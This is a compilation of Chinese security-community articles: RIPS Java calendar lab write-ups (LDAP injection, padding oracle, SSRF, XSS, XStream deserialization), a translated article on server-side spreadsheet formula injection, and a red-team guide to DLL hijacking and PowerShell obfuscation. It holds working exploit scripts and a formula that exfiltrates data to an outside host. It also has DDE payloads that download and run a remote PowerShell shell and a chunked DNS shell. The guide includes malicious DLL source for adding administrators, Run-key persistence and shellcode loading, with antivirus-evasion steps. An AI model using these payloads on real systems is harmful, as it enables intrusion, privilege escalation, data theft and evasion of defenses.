url = "http://localhost:8080/Day20_war_exploded/day20?username=admin)(description="
Alpha=string.ascii_letters+string.digits+' '
des = ""
while True:
flag = False
for i in Alpha:
url1 = url + des +i+"*"
res=requests.get(url=url1)
if("User is found." in res.text):
des = des + i
flag=True
break
if(flag==False):
break
print(des)
#### 4\. 结果
# Day21 Padding Oracle攻击
### 代码
Day 21
<https://www.ripstech.com/java-security-calendar-2019/>
### 漏洞点
在代码中，方法decrypt使用AES算法解密用户提供的十六进制编码的密文。加密密文是攻击者已知的，且初始的IV攻击者也已知。然而，攻击者并不知道密钥，因此被加密的明文无法获知。但密文并没有被MAC或者签名保护，攻击者可以操作IV(密文的前16个比特)，利用CBC的延展性来导致BadPaddingException。因此，在不知道密钥的情况下，可以通过Padding
Oracle攻击来获取明文。
关于Padding Oracle的资料。
<https://www.freebuf.com/articles/web/15504.html>.
<https://www.owasp.org/images/e/eb/Fun_with_Padding_Oracles.pdf.>
### 复现过程
#### 1\. 环境
* IDEA+springmvc
#### 2\. 修正代码
将`req.getParameter("c")`改为`req.getParameter("c").toCharArray()`
#### 2\. 配置web.xml
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>encodingFilter</filter-name>
<filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>UTF-8</param-value>
</init-param>
<init-param>
<param-name>forceEncoding</param-name>
<param-value>true</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>encodingFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<servlet>
<servlet-name>dispatcher</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>dispatcher</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
#### 3\. 配置dispatcher-servlet.xml
dispatcher-servlet.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:content="http://www.springframework.org/schema/context"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc https://www.springframework.org/schema/mvc/spring-mvc.xsd">
<content:component-scan base-package="com.ananaskr.day21"/>
<context:annotation-config/>
<mvc:default-servlet-handler/>
<mvc:annotation-driven/>
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix">
<value>/WEB-INF/</value>
</property>
<property name="suffix">
<value>.jsp</value>
</property>
</bean>
</beans>
#### 4\. 配置applicationContext.xml
applicationContext.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="day21" class="com.ananaskr.day21.Decrypter">
</bean>
</beans>
#### 5\. payload构造
攻击者已知的是初始IV和密文。
// Payload to decrypt: 699c99a4f27a4e4c310d75586abe8d32a8fc21a1f9e400f22b1fec7b415de5a4
IV: 699c99a4f27a4e4c310d75586abe8d32
密文: a8fc21a1f9e400f22b1fec7b415de5a4
根据Padding Oracle攻击的步骤，利用IV=00000000000000000000000000000000来开始猜测Intermediary
Value的最后一字节，通过测试，当最后一字节值为0x3b，即发送请求为`http://localhost:8080/Day21_war_exploded/decrypt?c=0000000000000000000000000000003ba8fc21a1f9e400f22b1fec7b415de5a4`时，返回的响应不是"Invalid
Padding"。此时最后一字节的Intermediary Value =`0x3b^0x01`=0x3a。
然后将Intermediary Value^0x02来继续猜测倒数第二字节的Intermediary Value值。
迭代地进行计算，一共16个字节，最多需要16*256次尝试即可得到Intermediary
Value值，然后将其与初始IV进行异或，即可得到明文。为了方便，编写如下脚本，计算Intermediary Value值
IV.py
import requests
url1 = "http://localhost:8080/Day21_war_exploded/decrypt?c="
cipher = "a8fc21a1f9e400f22b1fec7b415de5a4"
intervalue = []
value = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]
for j in range(1,17):
IV = ""
IV = IV+"00"*(16-j)
inva = ""
for k in range(len(intervalue)):
inva_t=hex(intervalue[k]^value[len(intervalue)])[2:]
if(len(inva_t)==1):
inva="0"+inva_t+inva
else:
inva=inva_t+inva
for i in range(1,257):
if(len(hex(i)[2:])==1):
IV1 = IV+"0"+hex(i)[2:]
else:
IV1 = IV+hex(i)[2:]
c = IV1+inva+cipher
url = url1+c
res=requests.get(url=url)
if("Invalid" not in res.text):
intervalue.append(i^value[len(intervalue)])
print(intervalue)
break
#### 6\. 结果
得到的结果`Intermediary Value =[58, 133, 182, 98, 80, 125, 5, 57, 41, 32, 21, 150,
200, 245, 249, 30]`，第一个表示最后一字节,将其与初始IV进行异或，得到明文为"welldone"，如下所示
# Day22 SSRF
### 代码
Day 22
<https://www.ripstech.com/java-security-calendar-2019/>
### 漏洞点
参数url在第31行通过getUrl()转换为URLConnection对象。在getURl方法中会检查url是否以http开头，是否是有效的外部URL，并设置禁止跳转跟随。然而，在第33-43行中允许设置Location头进行重定向。若受攻击者控制的URL发送受攻击者控制的Location头，则可进行SSRF。但由于会对Location头的值是否以<http://进行检查，但是检查不严格，仅仅要求http://存在即可。因此可构造恶意的Location值，从而实现SSRF，更进一步地可实现文件读取漏洞。>
### 复现过程
#### 1\. 环境
* IDEA+maven-archetype-webapp
#### 2\. 配置web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>day22</servlet-name>
<servlet-class>com.ananaskr.day22.ReadExternalUrl</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>day22</servlet-name>
<url-pattern>/day22</url-pattern>
</servlet-mapping>
</web-app>
#### 3\. payload构造
首先得实现一个http服务器，使得返回的响应头Location是攻击者可控的。Python实现的http服务器如下所示:
http.py
import socket
from multiprocessing import Process
def handle_client(client_socket):
request_data=client_socket.recv(1024)
response_start_line = "HTTP/1.1 200 OK\r\n"
response_headers = "Location:file:///etc/passwd#http://www.baidu.com"
response_body = "<h1>Python HTTP Test</h1>"
response = response_start_line+response_headers+"\r\n"+response_body
client_socket.send(bytes(response,"utf-8"))
client_socket.close()
if __name__ == "__main__":
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(("",8888))
server_socket.listen(128)
while True:
client_socket, client_address = server_socket.accept()
print("[%s, %s] connected" % client_address)
handle_client_process = Process(target=handle_client, args=(client_socket,))
handle_client_process.start()
client_socket.close()
其中，Location里的值为构造的恶意值，可以直接读取到敏感文件。构造完http服务器后，将其放置在服务器上，然后payload为:
http://localhost:8080/Day22_war_exploded/day22?url=http://your_server_ip:8888/
#### 4\. 结果
# Day23 格式化字符串漏洞
### 代码
Day 23
<https://www.ripstech.com/java-security-calendar-2019/>
### 漏洞点
name。其中name参数进行了escape避免产生XSS。代码的漏洞点在于第18行format()函数易产生格式化字符串漏洞，从calendar对象包含的各个对象调用toString()函数，若有一个对象中存在包含xss
payload的字符串，且拼接的name参数中有%s，则会产生格式化字符串漏洞，从而导致反射XSS漏洞。而第12行创建了一个java.util.SimpleTimeZone对象，该对象接收一个未过滤的用户控制的输入id，该id被添加到Calendar对象中。因此，产生漏洞。
### 复现环境
#### 1\. 环境
* IDEA+maven-archetype-webapp
#### 2\. 配置web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>day23</servlet-name>
<servlet-class>com.ananaskr.ShowCalendar</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>day23</servlet-name>
<url-pattern>/day23</url-pattern>
</servlet-mapping>
</web-app>
#### 3\. 修正代码
ShowCalendar.java
SimpleDateFormat parser=new SimpleDateFormat("EEE MMM d HH:mm:ss zzz yyyy");
改为
SimpleDateFormat parser=new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss");
否则会报"java.text.ParseException: Unparseable date"
#### 4\. payload构造
根据前面漏洞点的分析，payload构造如下所示
day23?id=<script>alert(1)</script>¤t_time=2013-06-28T00:00:00+00:00&name=%shello
将特殊字符进行url编码
day23?id=<script>alert(1)</script>¤t_time=2013-06-28T00:00:00%2B00:00&name=%25shello
#### 5\. 结果
结果如下所示
# Day24 对象注入漏洞
### 代码
Day 24
<https://www.ripstech.com/java-security-calendar-2019/>
### 漏洞点
此代码包含一个对象注入漏洞。通过Spring框架的@RequestBody注解将用户输入映射到参数xml上。输入然后被解析为一个org.w3c.dom.Document实例。在解析之后，XPath表达式`//com.ananaskr.day24.User[@serialization='custom'][1]`被用于选择com.ananaskr.day24.User节点。在第17行，此节点被转换为字符串并在第20行Xstream反序列化。
在代码中有2个类，都实现了Serializable接口，意味着这些类的对象可以被序列化。
sink点在第19行Invoker类的readObject方法，这个代码片段允许攻击者创建一个任意的对象，方法是用一个字符串数组调用构造函数，并invoke一个攻击者控制的这个对象的方法(此方法不需要参数)。使用一下payload，我们可以创建ProcessBuilder实例并执行任意shell命令。
因此，对象注入需要反序列化Invoker类，但是Xpath表达式`//com.ananaskr.day24.User[@serialization='custom'][1]`只选择User类。然而，User类的内部还可以有Invoker子类，因此可以绕过此检查，再加之Xstream能序列化任意类，最终导致对象注入。
### 复现过程
#### 1\. 环境
* IDEA+springmvc
#### 2\. 修正代码(可选)
* 将第30行的`transient private String password;`改为`transient private Object password;`
* 将第41行的`password = (String) stream.readObject();`改为`password = stream.readObject();`
* 不改可能会出现500的错误，但不影响命令执行
#### 3\. 配置web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>encodingFilter</filter-name>
<filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>UTF-8</param-value>
</init-param>
<init-param>
<param-name>forceEncoding</param-name>
<param-value>true</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>encodingFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<servlet>
<servlet-name>dispatcher</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>dispatcher</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
#### 4\. 配置dispatcher-servlet.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:content="http://www.springframework.org/schema/context"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc https://www.springframework.org/schema/mvc/spring-mvc.xsd">
<content:component-scan base-package="com.ananaskr.day24"/>
<context:annotation-config/>
<mvc:default-servlet-handler/>
<mvc:annotation-driven/>
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix">
<value>/WEB-INF/</value>
</property>
<property name="suffix">
<value>.jsp</value>
</property>
</bean>
</beans>
#### 5\. 配置applicationContext.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="day24" class="com.ananaskr.day24.Day24">
</bean>
</beans>
#### 6\. payload构造
根据漏洞点的分析，需要在User类中包含Invoker子类。payload如下所示
<com.ananaskr.day24.User serialization="custom">
<com.ananaskr.day24.User>
<default>
<email>[email protected]</email>
<name>Peter</name>
</default>
<com.ananaskr.day24.Invoker serialization="custom">
<com.ananaskr.day24.Invoker>
<default>
<a>
<string>touch</string>
<string>/tmp/abc</string>
</a>
<c>java.lang.ProcessBuilder</c>
<m>start</m>
</default>
</com.ananaskr.day24.Invoker>
</com.ananaskr.day24.Invoker>
</com.ananaskr.day24.User>
</com.ananaskr.day24.User>
过程如图所示
#### 7\. 结果
# 小结
Ripstech Java Security 2019
Calendar系列的内容都比较简单，适合入门学习。每个day的环境已上传至[github](https://github.com/ananaskr/Java_Calendar_2019)，可供参考。 | 社区文章 |
## 服务器端电子表格注入 - 从公式注入到远程代码执行
本文翻译自：<https://www.bishopfox.com/blog/2018/06/server-side-spreadsheet-injections/>
在过去的一年中，我曾经遇到了两个[基于CSV注入](https://www.contextis.com/blog/comma-separated-vulnerabilities)的服务器端攻击案例。第一种情况是Google表格注入导致的数据泄露，而第二种情况则展示了从公式注入到远程代码执行的方法。
### 案例1 Google表格注入
我们的一个客户创建了一个G-Suite集成应用程序，可以将当前应用程序的用户列表导出到Google云端硬盘中的电子表格来进行批量用户管理。然后，管理员可以编辑该Google电子表格并将文档重新上传到应用程序中以执行批量用户配置。
导出的电子表格中包含一些字段，例如每个用户的名字，姓氏和个人资料说明。该团队将用户的描述字段作为嵌入Payload（攻击负载）公式的攻击目标，而这些恶意的描述字段将用于构建导出电子表格。该公式将会执行和连接电子表格中的所有单元格（在本例中为A1-R18），并将数据泄露到我们的站点，还使用了IFERROR函数来屏蔽错误消息：
=IFERROR(IMPORTDATA(CONCAT("http://g.bishopfox.com:8000/save/",JOIN(",",B3:B18,C3:C18,D3:D18
,E3:E18,F3:F18,G3:G18,H3:H18,I3:I18,J3:J18,K3:K18,L3:L18,M3:M18,N3:N18,O3:O18,P3:P18,Q3:Q18,R3:R18))),"")
由于公式执行的结果依赖相关的变量，因此每次修改相关的单元格时该公式都会重新执行。这使得我们能够从导出的电子表格接收实时的数据流并更新到我们的服务器。例如，我们配置新用户时，会初始化密码，但是每次管理员完成编辑单元格（A1-R18）时，我们都会收到密码和电子表格的其余部分：
通过将嵌入Payload的公式注入到导出的电子表格中使用的值中（用户描述字段），管理员执行代码后，我们就能够记录表格中所有更新的数据。
总之，Google表格没有数据泄露保护。因此，在Google表格中打开软件生成的文档时请务必小心。
### 案例2 服务器端的公式注入导致远程代码执行
我们确定了两个易受通过公式注入执行远程代码的应用程序。这两个Web应用程序都是在上传过程中把上传的XLS*/CSV文档转换为图像文档，而这个转换过程主要是通过Windows的主机上的Excel软件完成的。
#### 第一个应用程序
第一个问题是将Excel电子表格转换为图像意味着什么？如何处理公式？
当我们最开始研究这个服务时，我们使用了诸如 =
SUM（1,1）之类的Payload，并且惊讶地看到在图像响应中评估的Payload为2。但是它们是使用缓存结果，还是服务器端动态计算公式的结果？
当我们上传了一个公式为
=NOW()的电子表格，马上返回了当前的时间戳。因此，我们可以知道公式是实时解析的！接下来，我们尝试通过使用Metasploit的exploit/multi/script/web_delivery的Payload来利用传统的客户端DDE攻击作为服务器端的攻击。
电子表格的Payload
=cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString("http://bishopfox.com/shell.ps1");
powershell -e $e'!A1
我们得到了一个shell。
通过shell，我们使用EC2元数据的URL来利用该计算机的身份来控制整个云环境中的资产。我们认为这是一个很厉害一次性shell，直到几个月后再次看到它...
#### 第二个应用程序
此实例类似于之前基于上传的攻击手法，但是文档转换服务器具有TCP出口保护。因此，我们采用链式公式注入利用SensePost Powershell DNS
Shell来获取交互式的shell。
在Metasploit web_delivery的Payload无法执行后，我们观察到了出口保护。于是，我们使用WEBSERVICE函数来探索出口规则。
=WEBSERVICE(“http://bishopfox.com”)
没有HTTP响应。
=WEBSERVICE(“https://bishopfox.com”)
没有HTTP响应。
=WEBSERVICE(“http://dnstest.bishopfox.com”)
收到DNS，但是DDE命令有执行吗？
=CMD|’/c for /f "delims=" %a in ('hostname') do nslookup %a.bishopfox.com ’|!A0
很好！我们有拿到PowerShell吗？
=CMD|’/c powershell nslookup dnstest.17.bishopfox.com’|!A1
我们通过DDE公式注入获取的PowerShelll制作了一个DNS
shell。DDE公式语法有255个字符常量的限制,我们在尝试创建符合限制的Payload字符串失败后，创建了一个链式命令，以块的形式传输Base64编码的SensePost
DNS shell，如下所示：
=cmd|'/C echo|set /p="JHVybCA9ICJiaXNob3Bmb3guY29tIjtmdW5jdGlvbiBleGVjRE5TKA==" > C:\ProgramData\activePDF\Temp\a.enc'!A0
+cmd|'/C echo|set /p="ACQAYwBtAGQAKQAgAHsACgAkAGMAIAA9ACAAaQBlAHgAIAAkAGMAbQBkACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkA" >> C:\ProgramData\activePDF\Temp\a.enc'!A0
+...omitted for brevity...
+cmd|'/C powershell -c "$a=Get-Content C:\ProgramData\activePDF\Temp\a.enc;powershell -e $a"'!A0
在将应用程序的所有部分写入磁盘后，最终的DDE命令会调用Payload（-e标志表示允许执行Base64编码的PowerShell脚本。或者，可以使用CertUtil.exe来解码Payload）。通过使用INFO/CELL公式命令来识别可写目录，我们可以识别当前工作目录和承载执行电子表格的目录。
### 结论
这些漏洞显示了新型的客户端漏洞，它们表现为服务器端漏洞。随着我们继续依赖SaaS，并将Office文档文件转换等任务转移到桌面环境之外，我们可以预期在服务器端攻击面上会出现更多客户端漏洞。
有关评估和修复这些漏洞的更多详细信息，请参阅我们的 "[Formula Injection Cheat
Sheet](https://www.bishopfox.com/download/8060/)"。另外，查看六月份Empire Hacking NYC
Meetup上展示的[幻灯片](https://www.bishopfox.com/download/8052/)。
### 参考链接
<https://www.bishopfox.com/blog/2018/06/server-side-spreadsheet-injections/> | 社区文章 |
#### 0X00前言
* * *
为什么我们需要白加黑这种攻击方法呢？答：降本增效，我们知道在以后AI+安全崛起的大背景下，社工将会成为攻防演练项目中，成本最低，效率最高的一种攻击方式，而这个时候"白加黑"的成本优势就体现的淋漓尽致了。
那什么是白加黑呢？答：白加黑就是通过DLL劫持在应用程序的导出目录中通过创建一个DLL并通过LoadLibrary函数（或者找一个已有的DLL注入恶意代码）来加载DLL文件。当目标尝试执行该文件（注意：不是执行受恶意的DLL文件）时，这个白文件会在应用程序加载时加载恶意的DLL。目标只要加载包含恶意代码的文件，攻击者就可以访问目标计算机了。
**小提示：代码只是参考，不一定可以运行哟！！！**
#### 0X01起源
* * *
在攻防演练中通过运行恶意代码连接C2是最常用的手段，但是由于对抗程度的提升。以360、天擎为代表的杀毒软件针对信任链的检测，已经变得愈来愈成熟。这个时候我们要么花费巨额资金去购买"签名"，要么针对杀软当中的白名单进行研究与利用。
这个时候有人会说，怎么去利用白名单呢？答：攻击者利用了微软Windows应用程序加载DLL文件的方式。这里我们可以理解为，攻击者通过利用"白加黑"这种攻击方法（即，利用白文件加载恶意的动态链接库
(DLL) ）。当攻击者通过社工钓鱼的手段，使得目标下载恶意的文件到目标自己的计算机上，并点击运行白文件时，该文件会在运行时执行恶意DLL。
我们通过构造"白加黑"可以达到如下的目的：
> 运行文件，达到执行敏感命令的目的（eg：执行MS系列POC、将Mimikatz变为shellcode执行....）
> 运行文件，达到权限提升的目的（eg：添加net user创建新用户.....）
> 运行文件，达到权限维持的目的（eg：添加新的注册表）......
补充：360、天擎为代表的杀软也会对一些微软签名的Windows工具和.exe文件进行标记，例如：PuDump、Rundll32、Msbuild.....所以，攻击者需要实时更新自己的DLL白名单，不然免杀效果很可能失效。
##### 运行文件，达到执行敏感命令的目的
/*
DLL劫持运行
编译64位（Linux）：i686_64-w64-mingw32-gcc -shared -o xxx.dll xxx.c
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"hello world!",
MB_OK
);
break;
case DLLPROCESSDETACH:
break;
case DLLTHREADATTACH:
break;
case DLLTHREADDETACH:
break;
}
return TRUE;
}
也许最简单的纠正措施包括确保所有软件都安装在受保护的目录`C:\Program Files`或`C:\Program Files (x86)`.
如果无法在这些地方安装软件，那么下一个最简单的步骤就是保证只有管理用户对安装目录具有“创建”或“写入”权限，以防止攻击者安装恶意 DLL 从而破坏漏洞。
##### 运行文件，达到权限提升的目的
/*
DLL权限提升
编译（Linux）
对于x64编译：x86_64-w64-mingw32-gcc evil.c -shared -o xxx.dll
对于x86编译：i686-w64-mingw32-gcc evil.c -shared -o xxx.dll
*/
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
system("powershell.exe /k net localgroup administrators user /add");
break;
case DLLPROCESSDETACH:
break;
case DLLTHREADATTACH:
break;
case DLLTHREADDETACH:
break;
}
return TRUE;
}
##### 运行文件，达到权限维持的目的
/*
DLL权限维持
编译（Linux）
对于x64编译：x86_64-w64-mingw32-gcc evil.c -shared -o xxx.dll
对于x86编译：i686-w64-mingw32-gcc evil.c -shared -o xxx.dll
*/
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
HKEY hkey = NULL;
const char* exe = "C:\\xxx.exe";
LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
RegSetValueEx(hkey, (LPCSTR)"hack", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}
break;
case DLLPROCESSDETACH:
break;
case DLLTHREADATTACH:
break;
case DLLTHREADDETACH:
break;
}
return TRUE;
}
#### 0X02攻击方式
* * *
由上面的文章可以知道，主流的"白加黑"有三种不同的加载方式：
> 白执行黑DLL
> 白执行DLL加载shellcode
> 白加载shellcode
我们知道当程序被编译时，可执行文件的头文件（PE）会将导入表添入其中。而导入表的作用是记住需要从哪个DLL导入哪些函数，所以白文件每次执行程序时，链接器都知道该做什么并自动加载所有必需的库。这时我们就可以通过找到合适的DLL（即，拥有写入权限的），并对其进行修改（即，注入恶意的代码）为恶意的黑DLL。但是如果没有合适的可修改的黑DLL，我们又想在运行时候让白文件加载黑DLL，那么Windows
API提供`LoadLibrary()`和`LoadLibraryEx()`函数就为我们提供了一个新的思路，那就是通过函数构造一个黑DLL，在将DLL的名称导入到导入表中使其在白文件运行的时候执行。以上两种不同的思路，导致了"白加黑"有了两种不同的思路，即可以修改原有的DLL，也可以创造一个黑DLL进行攻击。
这里补充一下，白加载shellcode就是我们所说的无文件落地免杀！我们首先讲一讲前面两个在国内流行的"白加黑"的方法吧，关于无文件落地下一段再说。
##### 白加黑通用流程
> 1. 寻找合适的白文件（eg：）
>
>
>
>
>
>
> 提示：建议手工查找，脚本准确几率不高！！
>
> 1. 检查文件夹权限，查看是否有写入权限，如果有可以考虑直接修改，反之则考虑通过LoadLibrary函数创建一个新的黑DLL
>
>
>
>
>
> 提示：我们知道Windows系统会按照预先确定的顺序查找相关库的位置。又因为DLL的执行顺序：加载应用程序的目录===>系统目录C:\Windows\System32===>系统目录C:\Windows\System===>Windows
> 目录 C:\Windows===>当前工作目录===>PATH
> 环境变量定义的目录；所以我们可以按照如下图所示的顺序进行DLL的搜索，并通过工具确定合适的DLL。
>
>
##### 白执行黑DLL
关于这个方法我们根据选择的白文件的DLL的特点，进行合理的修改！首先我们可以利用库引用在白文件的上下文中执行代码。如果文件允许LoadLibrary函数动态解析库的路径，那么该文件也会在当前目录中查找库DLL。我们通过将"白加黑"复制到具有写入权限的目录即可。如果我们需要创建自定义的黑DLL，那么白文件将加载黑DLL并执行恶意的代码。而且，我们寻找的白文件大多会有签名并通过了杀软的信任，使得我们的攻击成功几率大大增加。
黑DLL的代码演示（如下图所示）：
/*
DLL执行DLL的命令
编译64位（Linux）：i686_64-w64-mingw32-gcc -shared -o xxx.dll xxx.c
*/
# include "pch.h"
# include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLLPROCESSATTACH:
system("calc");
case DLLTHREADATTACH:
case DLLTHREADDETACH:
break;
}
return TRUE;
}
不满足所有导出的 DLL 劫持，在 C/C++ 中编写有效负载 DLL
时，可能会劫持DllMain中的控制流。执行此操作时，没有必要枚举和满足所有需要的导出，即可能存在 DLL 没有任何导出并且只能通过 DllMain
入口点被劫持的情况。
##### 白执行DLL加载shellcode
我们也可以通过构造恶意的黑DLL，并在其中运行shellcode，达到命令执行的效果，来绕过360和天擎的检测。
黑DLL加载shellcode的代码演示（如下图所示）：
/*
DLL执行DLL的命令
编译64位（Linux）：i686_64-w64-mingw32-gcc -shared -o xxx.dll xxx.c
*/
#include <winternl.h>
#include <windows.h>
#include <tlhelp32.h>
// 加载的shellcoder（弹calc） 64-bit
unsigned char payload[] = { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x0, 0x0, 0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0xf, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x1, 0xd0, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x1, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, };
extern "A" __declspec(dllexport) void Go(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
unsigned int payload_len = sizeof(payload);
exec_mem = VirtualAlloc(1, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(exec_mem, payload, payload_len);
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ulreason_forcall, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
break;
}
return TRUE;
}
#### 0X03无文件落地
* * *
##### 内存（asmi）/行为（edr）检测
我们知道一旦启用Powershell，就会导致微软的Defender调用ASMI接口，进行检测。但是我们要注意，其实在启动Powershell的时候，asmi.exe就已经被注入到powershell.exe的进程当中了，所以Defender才可以通过ASMI的函数去检测恶意行为。又因为某些原因Powershell无文件落地免杀在国内其实不太流行，因为360\天擎一旦发现Powershell运行一些敏感函数就会标记直接拦截，导致执行失败，但是它却可绕过火绒等杀软。
###### Powershell混淆
Invoke-Obfuscation是一个兼容PowerShellv2.0+的PowerShell命令和脚本混淆器（github地址：<https://github.com/danielbohannon/Invoke-Obfuscation），我们可以使用Invoke-Obfuscation来混淆/加密恶意的PowerShell脚本，使得PowerShell脚本逃避杀软的检测，原理是代码是在解释器中执行的，并很难检测代码本质上是否存在恶意代码。>
> 1. 第一步将涉及创建恶意PowerShell脚本并将其保存，沙箱检测如下所示：
>
>
>
>
> 2. 创建并保存恶意PowerShell脚本后，打开混淆工具，我们可以通过在Invoke-Obfuscate提示符中运行以下命令来完成：
>
> > Import-Module .\Invoke-Obfuscation.psd1
> Invoke-Obfuscation
>
>
>
>
>
> 3. 然后指定脚本路径，系统将提示您使用混淆方法菜单，如下所示：
>
> > set scriptpath xxxx.ps1
>
>
>
>
>
> 4. 这时，我们可以选择合适混淆方法，通过在Invoke-Obfuscate提示符中运行命令来选择此选项：
>
> > token
> all
>
>
>
>
>
>
>
> 1. 最后，输出混淆后的.ps1脚本
>
>
>
> 1
> out xxx.ps1
>
>
>
>
>
